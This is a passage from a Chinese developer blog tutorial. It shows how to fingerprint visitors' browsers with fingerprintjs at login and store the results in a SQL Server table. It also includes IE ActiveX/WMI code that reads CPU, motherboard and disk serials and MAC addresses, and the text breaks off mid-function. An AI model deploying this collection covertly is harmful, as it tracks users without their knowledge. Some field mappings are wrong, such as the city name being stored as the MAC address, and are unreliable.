1

如何使用javascript获取浏览器访问信息?

前言

​ 我们都知道我们进行web请求的时候,使用浏览器是可以获取到当前机器的访问信息的,目前市面上也有不少的工具或者API可以方便快速的获取用户的浏览器动态信息。整个过程比较简单,这里作为一次笔记进行简单记录。

需求

​ 使用前端的工具或者插件,获取起前端的浏览器信息,在登录的时候,将前端的信息发送到后台数据库进行存储。

组件地址:

​ 这里主要依赖的组件为fingerprintjs,能获取的内容算是比较详细的,用法也十分简单。

demo地址:https://tczmh.gitee.io/finger...

表设计

​ 下面根据具体需求构建一张对应的表:

字段名字段说明字段类型字段长度是否为空备注
uuid主键varchar255主键
fingerprint指纹IDvarchar255指纹是每次请求的唯一id
clientTime请求耗时int0请求耗时
userAgent用户代理varchar500
webdriver网络驱动varchar50
language语言varchar50
colorDepth颜色深度varchar50
deviceMemory设备内存varchar50
pixelRatio像素比例varchar50
hardwareConcurrency硬件并发varchar5016
screenResolution屏幕分辨率varchar50长,宽
availableScreenResolution可用屏幕分辨率varchar50长,宽
timezoneOffset时区偏移varchar50
timezone时区varchar50
sessionStorage是否开启会话存储int0boolean,1为true,0为false
localStorage是否开启本地存储int0boolean,1为true,0为false
indexedDb索引的Dbint0boolean,1为true,0为false
addBehavior是否存在增加行为int0boolean,1为true,0为false
openDatabase是否开启数据库int0boolean,1为true,0为false
cpuClasscpu类varchar50无案例数据,不明白具体含义
platform平台varchar50
doNotTrack不跟踪varchar50
plugins浏览器插件textarea0Chrome PDF Plugin;Chrome PDF Viewer;Native Client;
canvas画布textarea0
webgl网页textarea0
webglVendorAndRendererwebgl供应商和渲染器varchar1000
adBlock分贝锁定int0boolean,1为true,0为false
hasLiedLanguages是否伪造语言int0boolean,1为true,0为false
hasLiedResolution是否伪造决议int0boolean,1为true,0为false
hasLiedOs是否伪造osint0boolean,1为true,0为false
hasLiedBrowser是否伪造浏览器int0boolean,1为true,0为false
touchSupport触摸支持int0较特殊,使用逗号分割
fonts字体textarea0支持字体
fontsFlash字体Flashvarchar100swf object not loaded
audio媒体varchar100124.0434753
enumerateDevices枚举设备textarea0d=;gid=5fd3caefe1a38ae1bc997527a026ffad
mineType浏览器的MIME类型int01.2.3.4 RFC-822 Standard for ARPA Internet text messages RFC-2045 MIME Part 1: Format of Internet Message Bodies RFC-2046 MIME Part 2: Media Types RFC-2047 MIME Part 3: Header Extensions for Non-ASCII Text RFC-2048 MIME Part 4: Registration Procedures RFC-2049 MIME Part 5: Conformance Criteria and Examples
cookieEnable浏览器的是否启用了cookieint0boolean,1为true,0为false
macAddrMAC地址varchar50xxxx
ipAddrIP地址varchar50xxxxx
systemTime系统时间varchar200Fri May 28 2021 11:07:46 GMT+0800 (中国标准时间)
enableMediaPalyer是否有MediaPlayerint0boolean,1为true,0为false
enableRealPlayer是否有realPlayerint0boolean,1为true,0为false
enableQuickTime是否有quickTimeint0boolean,1为true,0为false

下面是对应的sql-server的建表sql:

-- ----------------------------
-- Table structure for browser_frontend_info
-- ----------------------------
IF EXISTS (SELECT * FROM sys.all_objects WHERE object_id = OBJECT_ID(N'[dbo].[browser_frontend_info]') AND type IN ('U'))
    DROP TABLE [dbo].[browser_frontend_info]
GO

CREATE TABLE [dbo].[browser_frontend_info] (
  [uuid] varchar(255) COLLATE Chinese_PRC_CI_AS  NOT NULL,
  [fingerprint] varchar(100) COLLATE Chinese_PRC_CI_AS  NULL,
  [clientTime] int  NULL,
  [userAgent] text COLLATE Chinese_PRC_CI_AS  NULL,
  [webdriver] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [language] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [colorDepth] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [deviceMemory] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [pixelRatio] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [hardwareConcurrency] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [screenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [availableScreenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [timezoneOffset] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [timezone] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [sessionStorage] int  NULL,
  [localStorage] int  NULL,
  [indexedDb] int  NULL,
  [addBehavior] int  NULL,
  [openDatabase] int  NULL,
  [cpuClass] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [platform] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [doNotTrack] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [plugins] text COLLATE Chinese_PRC_CI_AS  NULL,
  [canvas] text COLLATE Chinese_PRC_CI_AS  NULL,
  [webgl] text COLLATE Chinese_PRC_CI_AS  NULL,
  [webglVendorAndRenderer] text COLLATE Chinese_PRC_CI_AS  NULL,
  [adBlock] int  NULL,
  [hasLiedLanguages] int  NULL,
  [hasLiedResolution] int  NULL,
  [hasLiedOs] int  NULL,
  [hasLiedBrowser] int  NULL,
  [touchSupport] int  NULL,
  [fonts] text COLLATE Chinese_PRC_CI_AS  NULL,
  [fontsFlash] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [audio] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [enumerateDevices] text COLLATE Chinese_PRC_CI_AS  NULL,
  [mineType] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [cookieEnable] int  NULL,
  [macAddr] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [ipAddr] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [systemTime] varchar(200) COLLATE Chinese_PRC_CI_AS  NULL,
  [enableMediaPalyer] int DEFAULT '' NULL,
  [enableRealPlayer] int  NULL,
  [loginType] int  NULL,
  [merchNo] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [userName] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL
)
GO

ALTER TABLE [dbo].[browser_frontend_info] SET (LOCK_ESCALATION = TABLE)
GO

EXEC sp_addextendedproperty
'MS_Description', N'主键',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'uuid'
GO

EXEC sp_addextendedproperty
'MS_Description', N'指纹ID。指纹是每次请求的唯一id',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'fingerprint'
GO

EXEC sp_addextendedproperty
'MS_Description', N'请求耗时',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'clientTime'
GO

EXEC sp_addextendedproperty
'MS_Description', N'用户代理',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'userAgent'
GO

EXEC sp_addextendedproperty
'MS_Description', N'网络驱动',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'webdriver'
GO

EXEC sp_addextendedproperty
'MS_Description', N'语言',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'language'
GO

EXEC sp_addextendedproperty
'MS_Description', N'颜色深度',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'colorDepth'
GO

EXEC sp_addextendedproperty
'MS_Description', N'设备内存',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'deviceMemory'
GO

EXEC sp_addextendedproperty
'MS_Description', N'像素比例',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'pixelRatio'
GO

EXEC sp_addextendedproperty
'MS_Description', N'硬件并发',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hardwareConcurrency'
GO

EXEC sp_addextendedproperty
'MS_Description', N'屏幕分辨率',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'screenResolution'
GO

EXEC sp_addextendedproperty
'MS_Description', N'可用屏幕分辨率',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'availableScreenResolution'
GO

EXEC sp_addextendedproperty
'MS_Description', N'时区偏移',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'timezoneOffset'
GO

EXEC sp_addextendedproperty
'MS_Description', N'时区',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'timezone'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否开启会话存储',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'sessionStorage'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否开启本地存储',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'localStorage'
GO

EXEC sp_addextendedproperty
'MS_Description', N'索引的Db',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'indexedDb'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否存在增加行为',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'addBehavior'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造浏览器',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'openDatabase'
GO

EXEC sp_addextendedproperty
'MS_Description', N'cpu类',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'cpuClass'
GO

EXEC sp_addextendedproperty
'MS_Description', N'平台',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'platform'
GO

EXEC sp_addextendedproperty
'MS_Description', N'不跟踪',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'doNotTrack'
GO

EXEC sp_addextendedproperty
'MS_Description', N'浏览器插件',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'plugins'
GO

EXEC sp_addextendedproperty
'MS_Description', N'画布',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'canvas'
GO

EXEC sp_addextendedproperty
'MS_Description', N'网页',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'webgl'
GO

EXEC sp_addextendedproperty
'MS_Description', N'webgl供应商和渲染器',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'webglVendorAndRenderer'
GO

EXEC sp_addextendedproperty
'MS_Description', N'分贝锁定',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'adBlock'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造语言',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedLanguages'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造决议',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedResolution'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造os',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedOs'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造浏览器',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedBrowser'
GO

EXEC sp_addextendedproperty
'MS_Description', N'触摸支持',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'touchSupport'
GO

EXEC sp_addextendedproperty
'MS_Description', N'字体',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'fonts'
GO

EXEC sp_addextendedproperty
'MS_Description', N'字体Flash',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'fontsFlash'
GO

EXEC sp_addextendedproperty
'MS_Description', N'媒体',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'audio'
GO

EXEC sp_addextendedproperty
'MS_Description', N'枚举设备',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'enumerateDevices'
GO

EXEC sp_addextendedproperty
'MS_Description', N'浏览器的MIME类型',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'mineType'
GO

EXEC sp_addextendedproperty
'MS_Description', N'浏览器的是否启用了cookie',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'cookieEnable'
GO

EXEC sp_addextendedproperty
'MS_Description', N'MAC地址',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'macAddr'
GO

EXEC sp_addextendedproperty
'MS_Description', N'IP地址',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'ipAddr'
GO

EXEC sp_addextendedproperty
'MS_Description', N'系统时间',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'systemTime'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否有MediaPlayer',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'enableMediaPalyer'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否有realPlayer',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'enableRealPlayer'
GO

EXEC sp_addextendedproperty
'MS_Description', N'登录类型(1.商户,2.机构)',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'loginType'
GO

EXEC sp_addextendedproperty
'MS_Description', N'商户号',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'merchNo'
GO

EXEC sp_addextendedproperty
'MS_Description', N'用户名',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'userName'
GO


-- ----------------------------
-- Primary Key structure for table browser_frontend_info
-- ----------------------------
ALTER TABLE [dbo].[browser_frontend_info] ADD CONSTRAINT [PK__browser___7F427930F38BE804] PRIMARY KEY CLUSTERED ([uuid])
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON)  
ON [PRIMARY]
GO




# 接入案例代码:

​    如果需要正常运行,需要引入对应的三方代码或者ip获取网址,这里用了搜狐的IP信息捕获:

​```java
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script type="text/javascript" th:src="@{/js/front/fingerprint2.min.js}"></script>

​ 下面是针对API使用的简单接入,组装报文JSON:

function fingerDefaultConfig(){
    let excludes = {};
    excludes.userAgent = false;
    excludes.audio = false;
    excludes.enumerateDevices = false;
    excludes.fonts = false;
    excludes.fontsFlash = false;
    excludes.webgl = false;
    excludes.canvas = false;
    return excludes;
}

/**
 * 获取浏览器信息
 */
function getFingerInfo(){
    const start = new Date().getTime();
    let excludes = fingerDefaultConfig();
    let options = {excludes: excludes};
    var requestParam = {};
    Fingerprint2.get(options, function (components) {
        // 参数
        const values = components.map(function (component) {
            return component.value
        });
        // 指纹
        requestParam['murmur'] = Fingerprint2.x64hash128(values.join(''), 31);
        // 请求耗时
        requestParam['time'] = (new Date().getTime() - start);
        for (const c of components) {
            requestParam[c['key']] = c['value'];
        }
        // 获取其他模组的参数
        requestParam = otherRequestParam(requestParam);
        requestParam = intenetInfo(requestParam);
        requestParam = timeRequestParam(requestParam);
        requestParam = userRequestParam(requestParam);
        wrapParamAndStart(requestParam);
    });

}

function timeRequestParam(requestParam){
    requestParam['systemTime'] = new Date();
    return requestParam;
}

/**
 * 用户信息
 */
function userRequestParam(requestParam){
    var loginType = $("#loginType").find('option:selected').val();
    requestParam['loginType'] = loginType!=null && loginType!=undefined ? parseInt(loginType):1;
    requestParam['merchNo'] = $("#InputMerNo").val()||'';
    requestParam['userName'] = $("#InputUsername").val()||'';
    return requestParam;

}

function otherRequestParam(requestParam){
    var mimeType = navigator.mimeTypes; // 浏览器支持的所有MIME类型的数组
    var cookieEnabled = navigator.cookieEnabled; // 返回用户浏览器是否启用了cookie
    requestParam['mimeType'] = mimeType;
    requestParam['cookieEnabled'] = cookieEnabled;
    requestParam['enableMediaPalyer'] = checkePlugs("MediaPlayer");
    requestParam['enableRealPlayer'] = checkePlugs("RealPlayer");
    requestParam['enableQuickTime'] = checkePlugs("QuickTime");
    return requestParam;
}

/**
 * 网络信息获取
 * @param requestParam
 */
function intenetInfo(requestParam){
    requestParam['macAddr'] = returnCitySN["cname"];
    requestParam['ipAddr'] = returnCitySN["cip"];
    return requestParam;
}

//检查是否安装了某插件,如果安装了返回版本号
function checkePlugs(pluginname) {
    var f = "-"
    var plugins = navigator.plugins;
    if (plugins.length > 0) {
        for (i = 0; i < navigator.plugins.length; i++) {
            if (navigator.plugins[i].name.indexOf(pluginname) >= 0) {
                f = navigator.plugins[i].description.split(pluginname)[1];
                return f;
                break;
            }
        }
    }
    return false;
}

function wrapParamAndStart(requestParam) {
    start(JSON.stringify(requestParam));
}

/**
 * 前端抓取开启,根据使用的模块进行重写或者替换
 */
function start(info) {
    $.ajax({
        url : ROOT+"/front/record",
        type : 'POST',
        // async: false,
        dataType : 'json',
        data : info,
        contentType:'application/json',
        success : function(data) {

        },
        error : function(e) {

        }
    });

}

运行效果:

补充资料:

获取前端用户访问信息

​ 需要用户手动的开启权限,才可以进行正常的使用或者访问,同时这个对象主要为ie使用。

​ 实现方式:

var locator = new ActiveXObject("WbemScripting.SWbemLocator");

​ 参考博客: JavaScript 获取客户端计算机硬件及系统信息

获取摄像头信息

摄像头需要用户开启权限方可使用。

WebcamJS 已经在下面的浏览器/系统中进行了测试:

OSBrowserNotes
Mac OS XChrome 30+Works -- Chrome 47+ requires HTTPS
Mac OS XFirefox 20+Works
Mac OS XSafari 6+Requires Adobe Flash Player
WindowsChrome 30+Works -- Chrome 47+ requires HTTPS
WindowsFirefox 20+Works
WindowsIE 9Requires Adobe Flash Player
WindowsIE 10Requires Adobe Flash Player
WindowsIE 11Requires Adobe Flash Player

录音

录音和摄像头信息一样,需要用户的授权。

前端信息捕获html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

    <head>
        <title> New Document </title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0,user-scalable=no">
        <meta name="Generator" content="EditPlus">
        <meta name="Author" content="">
        <meta name="Keywords" content="">
        <meta charset="utf-8" />
        <meta name="Description" content="">
        <script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>



        <script id=clientEventHandlersJS language=javascript>
        
        
            /******************************************下为浏览器信息************************************************/
            //获取浏览器相关信息
            function allinfo() {
                var appName = navigator.appName; //浏览器的正式名称
                var appVersion = navigator.appVersion; //浏览器的版本号
                var cookieEnabled = navigator.cookieEnabled; // 返回用户浏览器是否启用了cookie
                var cpuClass = navigator.cpuClass; //返回用户计算机的cpu的型号,通常intel芯片返回"x86"(火狐没有)

                var mimeType = navigator.mimeTypes; // 浏览器支持的所有MIME类型的数组
                var platform = navigator.platform; // 浏览器正在运行的操作系统平台,包括Win16(windows3.x)  
                //   Win32(windows98,Me,NT,2000,xp),Mac68K(Macintosh 680x0)
                //     和MacPPC(Macintosh PowerPC)
                var plugins = navigator.plugins; //  安装在浏览器上的所有插件的数组
                var userLanguage = navigator.userLanguage; // 用户在自己的操作系统上设置的语言(火狐没有)
                var userAgent = navigator.userAgent; //包含以下属性中所有或一部分的字符串:appCodeName,appName,appVersion,language,platform
                var systemLanguage = navigator.systemLanguage; // 用户操作系统支持的默认语言(火狐没有)

                var info = "<table border=1>";
                var type = "";
                if (isIe()) {
                    type = "IE浏览器";
                } else if (isFireFox()) {
                    type = "火狐浏览器";
                }
                info += "<tr><td>浏览器类型:</td><td>" + type + "</td></tr>";

                info += "<tr><td>浏览器属性信息:</td><td>" + userAgent + "</td></tr>";
                info += "<tr><td>浏览器的正式名称:</td><td>" + appName + "</td></tr>";
                info += "<tr><td>浏览器的版本号:</td><td>" + appVersion + "</td></tr>";
                info += "<tr><td>浏览器的是否启用了cookie:</td><td>" + cookieEnabled + "</td></tr>";
                info += "<tr><td>cpu等级:</td><td>" + cpuClass + "</td></tr>";
                info += "<tr><td>浏览器的MIME类型:</td><td>" + mimeType.length + "</td></tr>";
                info += "<tr><td>系统平台:</td><td>" + platform + "</td></tr>";
                info += "<tr><td>安装的插件:</td><td>" + plugins + "</td></tr>";
                info += "<tr><td>插件的数量:</td><td>" + plugins.length + "</td></tr>";
                info += "<tr><td>插件的名称:</td><td>" + getPluginName() + "</td></tr>";
                info += "<tr><td>用户设置的操作系统语言:</td><td>" + userLanguage + "</td></tr>";
                info += "<tr><td>操作系统支持的默认语言:</td><td>" + systemLanguage + "</td></tr>";
                info += "<tr><td>Director:</td><td>" + checkePlugs("Director") + "</td></tr>";
                info += "<tr><td>javaEnabled:</td><td>" + navigator.javaEnabled() + "</td></tr>";
                info += "<tr><td>是否有quickTime:</td><td>" + checkePlugs("QuickTime") + "</td></tr>";
                info += "<tr><td>flash插件情况:</td><td>" + checkePlugs('Shockwave Flash') + "</td></tr>";
                info += "<tr><td>是否有MediaPlayer:</td><td>" + checkePlugs("MediaPlayer") + "</td></tr>";
                info += "<tr><td>是否有realPlayer:</td><td>" + checkePlugs("RealPlayer") + "</td></tr>";
                info += "<tr><td>屏幕分辨率高度:</td><td>" + window.screen.height + "</td></tr>";
                info += "<tr><td>屏幕分辨率宽度:</td><td>" + window.screen.width + "</td></tr>";
                info += "<tr><td>颜色质量:</td><td>" + window.screen.colorDepth + "位</td></tr>";
                info += "<tr><td>像素:</td><td>" + window.screen.deviceXDPI + "像素/英寸</td></tr>";
                info += "<tr><td>字体是否平滑:</td><td>" + window.screen.fontSmoothingEnabled + "</td></tr>";
                //info += "<tr><td>规定浏览器是否启用数据污点:</td><td>" + navigator.taintEnabled() + "</td></tr>";
                info += "</table>";
                document.getElementById("elInfo").innerHTML = info;
                return info;

                //director

                var appCodeName = navigator.appCodeName; //与浏览器相关的内部代码名
                var appMinorVersion = navigator.appMinorVersion; //辅版本号(通常应用于浏览器的补丁或服务包)

                var language = navigator.language; //浏览器支持的语言 (IE没有)

                var onLine = navigator.onLine; //返回浏览器是否处于在线模式(IE4以上版本)

                var opsProfile = navigator.opsProfile; // 未定义   (IE、火狐没有)

                var oscpu = navigator.oscpu; //浏览器正在运行的操作系统,其中可能有CPU的信息(IE没有)

                var product = navigator.product; // 浏览器的产品名(IE没有)

                var productSub = navigator.productSub; //关于浏览器更多信息(IE没有)

                var securityPolicy = navigator.securityPolicy; // 浏览器支持的加密类型(IE没有)

                var userProfile = navigator.userProfile; //  返回一个UserProfile对象,它存储用户的个人信息(火狐没有)

                var vender = navigator.vender; // 浏览器厂商名称(IE、火狐没有)

                var vendorSub = navigator.vendorSub; // 关于浏览器厂商更多的信息  

            }
            //获取插件所有的名称
            function getPluginName() {
                var info = "";
                var plugins = navigator.plugins;
                if (plugins.length > 0) {
                    for (i = 0; i < navigator.plugins.length; i++) {
                        info += navigator.plugins[i].name + ";";
                    }
                }
                return info;
            }
            //检查是否安装了某插件,如果安装了返回版本号
            function checkePlugs(pluginname) {
                var f = "-"
                var plugins = navigator.plugins;
                if (plugins.length > 0) {
                    for (i = 0; i < navigator.plugins.length; i++) {
                        if (navigator.plugins[i].name.indexOf(pluginname) >= 0) {
                            f = navigator.plugins[i].description.split(pluginname)[1];
                            return f;
                            break;
                        }
                    }
                }
                return false;
            }
            //判断是否IE
            function isIe() {
                var i = navigator.userAgent.toLowerCase().indexOf("msie");
                return i >= 0;
            }
            //判断是否firefox
            function isFireFox() {
                var i = navigator.userAgent.toLowerCase().indexOf("firefox");
                return i >= 0;
            }





            /******************************************以上为浏览器信息,以下为pc信息************************************************/
            var locator = new ActiveXObject("WbemScripting.SWbemLocator");
            var service = locator.ConnectServer(".");

            function cpuInfo() { //CPU 信息  
                var properties = service.ExecQuery("SELECT * FROM Win32_Processor");
                var e = new Enumerator(properties);
                var info = "<table border=1>";
                info += "<tr  bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450' >CPU 信息</td></tr>";
                for (; !e.atEnd(); e.moveNext()) {
                    var p = e.item();
                    info += "<tr style='color: red'><td >CPU序列号:" + p.ProcessorID + "</td></tr>";
                    info += "<tr><td >" + p.Caption + "</td></tr>";
                    info += "<tr><td >CPU编号:" + p.DeviceID + "</td></tr>";
                    info += "<tr><td >CPU型号:" + p.Name + "</td></tr>";
                    info += "<tr><td >CPU状态:" + p.CpuStatus + "</td></tr>";
                    info += "<tr><td >CPU可用性:" + p.Availability + "</td></tr>";
                    info += "<tr><td >CUP Level:" + p.Level + "</td></tr>";
                    info += "<tr><td >主机名称:" + p.SystemName + "</td></tr>";
                    info += "<tr><td >Processor Type:" + p.ProcessorType + "</td></tr>";
                }
                info += "</table>";
                return info;
            }

            function softDisk() { //软盘信息 
                var properties = service.ExecQuery("SELECT * FROM Win32_FloppyDrive");
                var e = new Enumerator(properties);
                var info = "<table border=1>";
                info += "<tr  bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>软盘信息</td></tr>";
                for (; !e.atEnd(); e.moveNext()) {
                    var p = e.item();
                    info += "<tr><td >" + p.Description + "</td></tr>";
                    info += "<tr><td >" + p.DeviceID + "</td></tr>";
                    info += "<tr><td >" + p.Status + "</td></tr>";
                    info += "<tr><td >" + p.Manufacuturer + "</td></tr>";
                }
                info += "</table>";
                return info;
            }

            function RomInfo() { //CD-ROM 信息 
                var properties = service.ExecQuery("SELECT * FROM Win32_CDROMDrive");
                var e = new Enumerator(properties);
                var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold;'><td width='450' >CD-ROM 信息 </td></tr>";
                for (; !e.atEnd(); e.moveNext()) {
                    var p = e.item();
                    info += "<tr><td >驱动器名称:" + p.Caption + "</td></tr>";
                    info += "<tr><td >描述:" + p.Description + "</td></tr>";
                    info += "<tr><td >盘符:" + p.Drive + "</td></tr>";
                    info += "<tr><td >驱动器状态:" + p.Status + "</td></tr>";
                    info += "<tr><td >是否在使用:" + p.MediaLoaded + "</td></tr>";
                }
                info += "</table>";
                return info;
            }

            function keyBoardInfo() { //键盘信息 
                var properties = service.ExecQuery("SELECT * FROM Win32_Keyboard");
                var e = new Enumerator(properties);
                var info = "<table border=1>";
                info += "<tr  bgcolor='#CDEDED' style='font-weight: bold;'><td width='450'>键盘信息 </td></tr>";
                for (; !e.atEnd(); e.moveNext()) {
                    var p = e.item();
                    info += "<tr><td >键盘描述:" + p.Description + "</td></tr>";
                    info += "<tr><td >键盘名称:" + p.Name + "</td></tr>";
                    info += "<tr><td >键盘状态:" + p.Status + "</td></tr>";
                }
                info += "</table>";
                return info;
            }

            function mainBoard() { //主板信息 
                var properties = service.ExecQuery("SELECT * FROM Win32_BaseBoard");
                var e = new Enumerator(properties);
                var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold;'><td width='450'>主板信息 </td></tr>";
                for (; !e.atEnd(); e.moveNext()) {
                    var p = e.item();
                    info += "<tr style='color: red'><td >主板ID:" + p.SerialNumber + "</td></tr>";
                    info += "<tr><td >" + p.HostingBoard + "</td></tr>";
                    info += "<tr><td >制造商:" + p.Manufacturer + "</td></tr>";
                    info += "<tr><td >是否开启:" + p.PoweredOn + "</td></tr>";
                    info += "<tr><td >型号:" + p.Product + "</td></tr>";
                    info += "<tr><td >版本:" + p.Version + "</td></tr>";
                }
                info += "</table>";
                return info;
            }

            function disk() { //硬盘序列号 信息
                var properties = service.ExecQuery("SELECT * FROM Win32_DiskDrive");
                var e = new Enumerator(properties);
                var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>硬盘信息 </td></tr>";
                for (; !e.atEnd(); e.moveNext()) {
                    var p = e.item();
                    info += "<tr style='color: red'><td >硬盘序列号:" + p.signature + "</td></tr>";
                }
                info += "</table>";
                return info;
            }
            //获取Ram信息
            function raminfo() {
                var system = new Enumerator(service.ExecQuery("SELECT * FROM Win32_ComputerSystem")).item();

                var physicMenCap = Math.ceil(system.TotalPhysicalMemory / 1024 / 1024);
                //内存信息 
                var memory = new Enumerator(service.ExecQuery("SELECT * FROM Win32_PhysicalMemory"));
                for (var mem = [], i = 0; !memory.atEnd(); memory.moveNext()) {
                    mem[i++] = {
                        cap: memory.item().Capacity / 1024 / 1024,
                        speed: memory.item().Speed
                    };
                }

                var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>内存信息 </td></tr>";
                info += "<tr style='color: red'><td >内存总量:" + (mem[0].cap + mem[1].cap) + "M</td></tr>";
                info += "<tr style='color: red'><td >可用物理内存:" + physicMenCap + "M</td></tr>";
                info += "</table>";
                return info;
            }

            //获取网络连接信息
            function ipinfo() {

                var properties = service.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE");
                var e = new Enumerator(properties);
                var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>网络连接信息:</td></tr>";
                var i = 1;
                for (; !e.atEnd(); e.moveNext()) {
                    var p = e.item();
                    info += "<tr style='color: red'><td >MAC地址" + i + ":" + p.MACAddress + "</td></tr>";
                    info += "<tr style='color: red'><td >IP地址" + i + ":" + p.IPAddress(0) + "</td></tr>";
                    i++;
                }
                info += "</table>";
                return info;
            }
            
            
            
            //获取网络连接信息
            function ipinfo2() {

                var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>网络连接信息:</td></tr>";
                 
